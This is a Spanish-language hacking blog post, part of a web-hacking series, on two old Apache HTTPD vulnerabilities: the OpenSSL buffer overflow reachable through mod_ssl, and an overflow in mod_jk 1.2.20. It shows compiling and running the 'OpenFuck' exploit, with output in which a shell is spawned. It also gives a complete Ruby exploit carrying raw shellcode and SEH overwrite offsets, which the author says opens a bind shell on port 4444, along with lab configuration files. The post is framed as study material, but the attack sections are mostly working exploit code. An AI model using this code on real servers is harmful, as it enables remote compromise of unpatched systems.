Inicio > Hacking, MetaSploit, Services - Software, Web Applications > WEB HACKING – Algunos Ataques directos contra servidores web Apache – Parte XX

WEB HACKING – Algunos Ataques directos contra servidores web Apache – Parte XX


En la publicación anterior se ha hablado de sobre algunos ataques directos contra servidores web con vulnerabilidades conocidas. En esta publicación y en la próxima se hablará sobre algunas de las vulnerabilidades más criticas que ha sufrido el servidor web más utilizado del mundo: Apache HTTPD Web Server con algunos ejemplos para comprender en que consisten.

Vulnerabilidad de Buffer OverFlow en OpenSSL

El uso de OpenSSL en servidores web Apache HTTPD, ha sido una buena elección a la hora de habilitar en el servidor la capacidad de cifrar el canal de comunicación y poder establecer conexiones seguras utilizando el protocolo SSL, sin embargo no siempre ha sido tan seguro y estable como las más recientes versiones de esta librería, de hecho han habido vulnerabilidades muy conocidas y graves que han afectado a miles de servidores en internet, como por ejemplo la vulnerabilidad de PRGN sobre sistemas basados en Debian (http://www.debian.org/security/2008/dsa-1571).

En este caso, el servidor web Apache HTTPD también se ha visto afectado por vulnerabilidades relacionadas con OpenSSL, una de las más conocidas y de la que se va a hablar en las siguentes lineas es una vulnerabilidad de Buffer Overflow que afecta principalmente a las versiones de OpenSSL 0.9.6b e inferiores, el informe completo de esta vulnerabilidad puede verse aquí: http://www.securityfocus.com/bid/5363/info

Si un servidor web utiliza el modulo mod_ssl haciendo uso de una versión de OpenSSL vulnerable, el servidor web puede ser atacado de forma directa sin importar si las aplicaciones instaladas son vulnerables o no.

nmapapache

La imagen anterior enseña un servidor web Apache que soporta SSL y gracias al escaneo con Nmap (-A) se ha podido identificar la versión de mod_ssl y OpenSSL (la cual es claramente, vulnerable).

Ahora bien, existe un exploit que fue publicado hace algunos años para aprovechar estar vulnerabilidad, sin embargo, debido a que desde entonces las librerías de desarrollo para OpenSSL han tenido algunos cambios, es necesario realizar unas pequeñas adaptaciones, el exploit original se encuentra localizado aquí: http://www.securityfocus.com/bid/5363/exploit

Y las modificaciones que he realizado, para poder compilar y posteriormente ejecutar dicho exploit desde mi máquina (Debian Squeeze) se encuentran disponibles aquí:

http://pastebin.com/r2rC3eyp

Compilar el exploit es sencillo utilizando GCC

>gcc OpenFuck.c -o OpenFuck -lcrypto
OpenFuck.c: In function ‘get_server_hello’:
OpenFuck.c:1011: warning: passing argument 2 of ‘d2i_X509’ from incompatible pointer type
/usr/include/openssl/x509.h:940: note: expected ‘const unsigned char **’ but argument is of type ‘unsigned char **’

Posteriormente, solamente es necesario identificar cual es la plataforma del sistema objetivo, el escaneo anterior indica que hay una alta probabilidad de que se trate de un sistema RedHat, así que:

>./OpenFuck 0x73 192.168.17.222 443

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam – LSD-pl – SolarEclipse – CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Establishing SSL connection
cipher: 0x4070d0ac   ciphers: 0x81c6788
Ready to send shellcode
Spawning shell…
bash: no job control in this shell
bash-2.05a$

De esta forma, un atacante puede conseguir una shell en el sistema objetivo aprovechando esta vulnerabilidad.

Aunque se pueda creer que es una vulnerabilidad difícil de exploitar, dado que es bastante antigua, es impresionante la cantidad de sistemas que se encuentran prácticamente abandonados y que no se actualizan desde hace años. Un llamado de atención a todos aquellos sysadmins que no tienen debidamente actualizados sus sistemas.

Vulnerabilidad de OverFlow en el módulo MOD_JK de Apache.

MOD_JK es un módulo para Apache HTTPD que permite redireccionar peticiones recibidas por el servidor web hacia el Servlet Container de Apache Tomcat. Se trata de un modulo que suele ser empleado como balanceador de carga entre una o varias instancias de Apache y uno o varios nodos de servidores de aplicaciones como Glassfish, WAS o JBOSS, de hecho, ese suele ser el uso más frecuente de este módulo. Sin embargo, durante los últimos años, una solución que puede resultar mucho más manejable y robusta es el módulo Mod_Proxy, del cual se ha hablado anteriormente en este blog: http://thehackerway.com/2012/11/15/2074/

Reproducir esta vulnerabilidad para fines de estudio es sencillo (y se explicará a continuación). En primer lugar hay que tener presente que se produce en MOD_JK 1.2.19 y 1.2.20, por lo que para reproducirla es necesario instalar alguna de esas versiones. Para este caso concreto, la plataforma que se utilizará será la siguiente:

Sistema Operativo: Windows XP SP3.

Apache HTTPD 2.0.58: http://archive.apache.org/dist/httpd/binaries/win32/apache_2.0.58-win32-x86-no_ssl.msi

MOD_JK 1.2.20: http://archive.apache.org/dist/tomcat/tomcat-connectors/jk/binaries/win32/jk-1.2.20/mod_jk-apache-2.0.58.so

Ahora bien, ahora solamente es necesario incluir el módulo dentro del directorio de módulos de Apache (ver publicaciones anteriores) e cargarlo tal como se indica en la siguiente configuración:

LoadModule jk_module modules/mod_jk.so

# Where to find workers.properties

JkWorkersFile conf/workers.properties

# Where to put jk logs

JkLogFile logs/mod_jk.log

# Set the jk log level [debug/error/info]

JkLogLevel info

# Select the log format

JkLogStampFormat “[%a %b %d %H:%M:%S %Y]”

# JkOptions indicates to send SSK KEY SIZE

JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories

# JkRequestLogFormat

JkRequestLogFormat “%w %V %T”

# Mount your applications

JkMount /application/* ajp13

# You can use external file for mount points.

# It will be checked for updates each 60 seconds.

# The format of the file is: /url=worker

# /examples/*=loadbalancer

JkMountFile conf/uriworkermap.properties

# Add shared memory.

# This directive is present with 1.2.10 and

# later versions of mod_jk, and is needed for

# for load balancing to work properly

JkShmFile logs/jk.shm

# Add jkstatus for managing runtime data

<Location /jkstatus/>

JkMount status

Order deny,allow

Allow from all

</Location>

Como se puede apreciar, tienen que existir los ficheros conf/workers.properties y conf/uriworkermap.properties los cuales podrían contener el siguiente contenido.

workers.properties

# BEGIN workers.properties

# Definition for Ajp13 worker

worker.list=ajp13

worker.ajp13.port=8009

worker.ajp13.host=127.0.0.1

worker.ajp13.type=ajp13

# END workers.properties

uriworkermap.properties

/jmx-console=ajp13

/jmx-console/*=ajp13

/web-console=ajp13

/web-console/*=ajp13

/examples/jsp=ajp13

/examples/jsp/*=ajp13

Se puede o no, instalar un servidor web como Tomcat o un servidor de aplicaciones como JBoss, estos ficheros simplemente son útiles para que el servidor web pueda realizar las redirecciones hacia el backend (del mismo modo que funciona mod_proxy).

Si la configuración es correcta, el banner del servidor web deberá contener el módulo cargado y su versión (mod_jk 1.2.20), lo cual se puede comprobar con un escaneo con NMAP con la opción de identificar la versión del servidor (-sV) o simplemente abriendo el monitor de servicios de apache.

apachemonitor

Con esta configuración, es posible explotar esta vulnerabilidad utilizando metasploit framework tal como se enseña en la siguiente imagen

 

apache4444

Tambien es posible utilizar el siguiente exploit, que he escrito en Ruby partiendo del exploit creado en Metasploit Framework

#!/usr/bin/ruby

require 'net/http'

require 'uri'

require 'socket'

targetip = ARGV[0]

targetport = ARGV[1]

sc_base = 16

puts "[+] Target =&gt; #{targetip}:#{targetport}"

shellcode = "\x6a\x56\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb3" +

"\xf7\x90\x8d\x83\xeb\xfc\xe2\xf4\x4f\x1f\x19\x8d\xb3\xf7" +

"\xf0\x04\x56\xc6\x42\xe9\x38\xa5\xa0\x06\xe1\xfb\x1b\xdf" +

"\xa7\x7c\xe2\xa5\xbc\x40\xda\xab\x82\x08\xa1\x4d\x1f\xcb" +

"\xf1\xf1\xb1\xdb\xb0\x4c\x7c\xfa\x91\x4a\x51\x07\xc2\xda" +

"\x38\xa5\x80\x06\xf1\xcb\x91\x5d\x38\xb7\xe8\x08\x73\x83" +

"\xda\x8c\x63\xa7\x1b\xc5\xab\x7c\xc8\xad\xb2\x24\x73\xb1" +

"\xfa\x7c\xa4\x06\xb2\x21\xa1\x72\x82\x37\x3c\x4c\x7c\xfa" +

"\x91\x4a\x8b\x17\xe5\x79\xb0\x8a\x68\xb6\xce\xd3\xe5\x6f" +

"\xeb\x7c\xc8\xa9\xb2\x24\xf6\x06\xbf\xbc\x1b\xd5\xaf\xf6" +

"\x43\x06\xb7\x7c\x91\x5d\x3a\xb3\xb4\xa9\xe8\xac\xf1\xd4" +

"\xe9\xa6\x6f\x6d\xeb\xa8\xca\x06\xa1\x1c\x16\xd0\xdb\xc4" +

"\xa2\x8d\xb3\x9f\xe7\xfe\x81\xa8\xc4\xe5\xff\x80\xb6\x8a" +

"\x4c\x22\x28\x1d\xb2\xf7\x90\xa4\x77\xa3\xc0\xe5\x9a\x77" +

"\xfb\x8d\x4c\x22\xc0\xdd\xe3\xa7\xd0\xdd\xf3\xa7\xf8\x67" +

"\xbc\x28\x70\x72\x66\x7e\x57\xbc\x68\xa4\xf8\x8f\xb3\xe6" +

"\xcc\x04\x55\x9d\x80\xdb\xe4\x9f\x52\x56\x84\x90\x6f\x58" +

"\xe0\xa0\xf8\x3a\x5a\xcf\x6f\x72\x66\xa4\xc3\xda\xdb\x83" +

"\x7c\xb6\x52\x08\x45\xda\x3a\x30\xf8\xf8\xdd\xba\xf1\x72" +

"\x66\x9f\xf3\xe0\xd7\xf7\x19\x6e\xe4\xa0\xc7\xbc\x45\x9d" +

"\x82\xd4\xe5\x15\x6d\xeb\x74\xb3\xb4\xb1\xb2\xf6\x1d\xc9" +

"\x97\xe7\x56\x8d\xf7\xa3\xc0\xdb\xe5\xa1\xd6\xdb\xfd\xa1" +

"\xc6\xde\xe5\x9f\xe9\x41\x8c\x71\x6f\x58\x3a\x17\xde\xdb" +

"\xf5\x08\xa0\xe5\xbb\x70\x8d\xed\x4c\x22\x2b\x7d\x06\x55" +

"\xc6\xe5\x15\x62\x2d\x10\x4c\x22\xac\x8b\xcf\xfd\x10\x76" +

"\x53\x82\x95\x36\xf4\xe4\xe2\xe2\xd9\xf7\xc3\x72\x66\xf7" +

"\x90\x8d"

buffer = "\x41"*5001

buffer[sc_base, shellcode.length] = shellcode

[ 4343, 4407, 4423 ].each { |seh_offset|

buffer[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')

buffer[seh_offset - 4, 2] = "\xeb\xf9"

buffer[seh_offset , 4] = "\xf1\x8e\x6b\x6a"

}

begin

url = URI.parse('http://' + targetip)

res = Net::HTTP.start(url.host, targetport) { |http|

http.get('/' + buffer)

}

rescue

puts "[-] Error while trying to connect to #{targetip}:#{targetport}"

exit

end

La siguiente imagen enseña como crear una bindshell en el puerto 4444 utilizando el exploit anterior

apache4444

Esto es todo de momento, en la próxima publicación, un poco más sobre otros ataques directos a servidores web.

  1. enero 24, 2013 en 7:05 pm

    exelente articulo, creo que con esos articulo practicare.

  1. No trackbacks yet.

Deja un comentario

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.148 seguidores

A %d blogueros les gusta esto: